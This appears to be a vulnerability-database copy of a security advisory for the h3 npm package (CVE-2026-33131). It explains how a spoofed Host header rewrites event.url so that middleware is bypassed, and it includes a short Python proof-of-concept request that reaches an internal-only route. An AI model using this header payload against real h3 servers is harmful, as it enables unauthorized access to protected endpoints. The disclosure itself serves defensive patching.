GHSA-3VJ8-JMXQ-CGJ5

Vulnerability from github – Published: 2026-03-18 16:18 – Updated: 2026-03-20 21:28
VLAI
Summary
h3 has a middleware bypass with one gadget
Details

H3 NodeRequestUrl bugs

Vulnerable pieces of code :

import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()

const internalOnly = defineHandler((event, next) => {
  const token = event.headers.get("x-internal-key");

  if (token !== "SUPERRANDOMCANNOTBELEAKED") {
    return new Response("Forbidden", { status: 403 });
  }

  return next();
});
const logger = defineHandler((event, next) => {
    console.log("Logging : " +  event.url.hostname)
    return next() 
})
app.use(logger);
app.use("/internal/run", internalOnly);


app.get("/internal/run", () => {
  return "Internal OK";
});

serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the event.url or event.url.hostname or event.url._url

It will lead to trigger one specials method

// _url.mjs FastURL
get _url() {
    if (this.#url) return this.#url;
    this.#url = new NativeURL(this.href);
    this.#href = void 0;
    this.#protocol = void 0;
    this.#host = void 0;
    this.#pathname = void 0;
    this.#search = void 0;
    this.#searchParams = void 0;
    this.#pos = void 0;
    return this.#url;
}

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code :

 this.#url = new NativeURL(this.href);

Where is the this.href comes from ?

get href() {
    if (this.#url) return this.#url.href;
    if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
    return this.#href;
}

Because the this.#url is still null so this.#href is built up by :

if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;

Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass

What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares

handler(event) {
    const route = this["~findRoute"](event);
    if (route) {
        event.context.params = route.params;
        event.context.matchedRoute = route.data;
    }
    const routeHandler = route?.data.handler || NoHandler;
    const middleware = this["~getMiddleware"](event, route);
    return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc :

import requests
url = "http://localhost:3000"
headers = {
    "Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "h3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-0"
            },
            {
              "fixed": "2.0.1-rc.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33131"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T16:18:12Z",
    "nvd_published_at": "2026-03-20T11:18:02Z",
    "severity": "HIGH"
  },
  "details": "# H3 NodeRequestUrl bugs \n\nVulnerable pieces of code : \n```js\nimport { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from \"h3\";\nlet app = new H3()\n\nconst internalOnly = defineHandler((event, next) =\u003e {\n  const token = event.headers.get(\"x-internal-key\");\n\n  if (token !== \"SUPERRANDOMCANNOTBELEAKED\") {\n    return new Response(\"Forbidden\", { status: 403 });\n  }\n\n  return next();\n});\nconst logger = defineHandler((event, next) =\u003e {\n    console.log(\"Logging : \" +  event.url.hostname)\n    return next() \n})\napp.use(logger);\napp.use(\"/internal/run\", internalOnly);\n\n\napp.get(\"/internal/run\", () =\u003e {\n  return \"Internal OK\";\n});\n\nserve(app, { port: 3001 });\n```\n\nThe middleware is super safe now with just a logger and a middleware to block internal access.\nBut there\u0027s one problems here at the logger .\nWhen it log out the ```event.url``` or ```event.url.hostname``` or ```event.url._url```\n\nIt will lead to trigger one specials method \n\n```js \n// _url.mjs FastURL\nget _url() {\n    if (this.#url) return this.#url;\n    this.#url = new NativeURL(this.href);\n    this.#href = void 0;\n    this.#protocol = void 0;\n    this.#host = void 0;\n    this.#pathname = void 0;\n    this.#search = void 0;\n    this.#searchParams = void 0;\n    this.#pos = void 0;\n    return this.#url;\n}\n```\n\nThe `NodeRequestUrl` is extends from `FastURL` so when we just access ```.url``` or trying to dump all data of this class . This function will be triggered !! \n\nAnd as debugging , the `this.#url` is null and will reach to this  code  : \n```js\n this.#url = new NativeURL(this.href);\n```\nWhere is the `this.href` comes from ? \n```js \nget href() {\n    if (this.#url) return this.#url.href;\n    if (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n    return this.#href;\n}\n```\nBecause the `this.#url` is still null so `this.#href` is built up by : \n```js\nif (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n```\nYeah and this is untrusted data go . An attacker can pollute the `Host` header from requests lead overwrite the `event.url` .\n\n# Middleware bypass\nWhat can be done with overwriting the `event.url`? \nAudit the code we can easily realize that the `routeHanlder` is found before running any middlewares \n```js\nhandler(event) {\n    const route = this[\"~findRoute\"](event);\n    if (route) {\n        event.context.params = route.params;\n        event.context.matchedRoute = route.data;\n    }\n    const routeHandler = route?.data.handler || NoHandler;\n    const middleware = this[\"~getMiddleware\"](event, route);\n    return middleware.length \u003e 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);\n}\n```\n\nSo the handleRoute is fixed but when checking with middleware it check with the **spoofed** one lead to **MIDDLEWARE BYPASS**\n\nWe have this poc : \n```py\nimport requests\nurl = \"http://localhost:3000\"\nheaders = {\n    \"Host\":f\"localhost:3000/abchehe?\"\n}\nres = requests.get(f\"{url}/internal/run\",headers=headers)\nprint(res.text)\n```\n\nThis is really dangerous if some one just try to dump all the `event.url` or something that trigger `_url()` from class FastURL and need a fix immediately.",
  "id": "GHSA-3vj8-jmxq-cgj5",
  "modified": "2026-03-20T21:28:00Z",
  "published": "2026-03-18T16:18:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/h3js/h3/security/advisories/GHSA-3vj8-jmxq-cgj5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33131"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/h3js/h3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "h3 has a middleware bypass with one gadget"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…